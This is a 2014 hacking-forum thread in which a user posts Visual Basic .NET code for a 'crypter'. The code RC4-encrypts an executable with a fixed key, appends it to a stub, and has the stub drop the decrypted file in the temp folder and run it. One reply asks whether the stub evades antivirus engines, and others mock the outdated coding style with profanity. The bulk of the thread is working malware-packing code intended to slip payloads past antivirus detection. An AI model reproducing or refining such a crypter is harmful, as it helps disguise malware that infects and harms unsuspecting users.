Hack Forums
[.NET] EnCrypt / RC4 / Stub , check code. - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] EnCrypt / RC4 / Stub , check code. (/showthread.php?tid=4540700)



EnCrypt / RC4 / Stub , check code. - AlphaTengo - Nov 16, 2014

Hi,

My crypter have a startup, a button for icon and a button to open the .exe

I have 3 codes, one for the Encrypt button, 2nd for the RC4 function, 3rd for the stub, thank you to tell me if they are right!

Code number 1 "for the Encrypt button" :

Quote:Try
Dim var1, var2, stub As String
Dim sfd As New SaveFileDialog
sfd.Title = "Select your file"
sfd.Filter = "Executable (*.exe)|*.exe"
If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
var2 = sfd.FileName
Else : Exit Sub
End If
FileOpen(1, TextBox2.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
var1 = Space(LOF(1))
FileGet(1, var1)
FileClose(1)
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, var2, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & dCrypt & rc4(var1, "d3struct0rkey"))
FileClose(1)
MsgBox("Server crypter!", MsgBoxStyle.Information)
Catch ex As Exception
MsgBox("Error!", MsgBoxStyle.Critical)
End Try
End Sub
End Class


Code number 2 "RC4" :

Quote:Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function
End Class


Code number 3 "Stub" : [/u]

Quote:On Error Resume Next
Dim TPath As String = System.IO.Path.GetTempPath
Dim d1, d2(), d3 As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
d1 = Space(LOF(1))
FileGet(1, d1)
FileClose(1)
d2 = Split(d1, dCrypt)
d3 = rc4(d2(1), "d3struct0rkey")
FileOpen(5, TPath & "\Encryptado.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, d3)
FileClose(5)
System.Diagnostics.Process.Start(TPath & "\Encryptado.exe")
Me.Close()
End Sub


Check code and tell me if the code good for my crypter.

I re said my crypter have a startup, a button to open the .exe and a button to open the icon.

Thank you for your answer!

Best regard.



* - Ninja - Nov 16, 2014

If it works and if it is not slow as fuck, then yes, it is good code for a crypter, IF it works.


* - ucplusx - Nov 17, 2014

have u check the stub on many AntiVirus?


* - Odus - Nov 17, 2014

(Nov 16, 2014 01:58 PM)AlphaTengo Wrote:  Code number 3 "Stub" : [/u]
Code
On Error Resume Next

No its fucking disgusting. What are you lot above me talking about?


* - SIM-1456245 - Nov 17, 2014

No, just NO. Why would you use "On Error Resume Next", "FileOpen". It's god damn 2015(almost). You can see VS 2015, .Net 4.6 and what not coming out, and you are still using VB6, come on man.


* - x64 - Nov 17, 2014

(Nov 17, 2014 08:13 AM)Electroalek Wrote:  No, just NO. Why would you use "On Error Resume Next", "FileOpen". It's god damn 2015(almost). You can see VS 2015, .Net 4.6 and what not coming out, and you are still using VB6, come on man.

Probably because VB6 is native however that would never be legit reason for me to code in VB6. VB6 is out of date. Why the fuck would you still continue coding in that language. Just use C# or VB.net instead.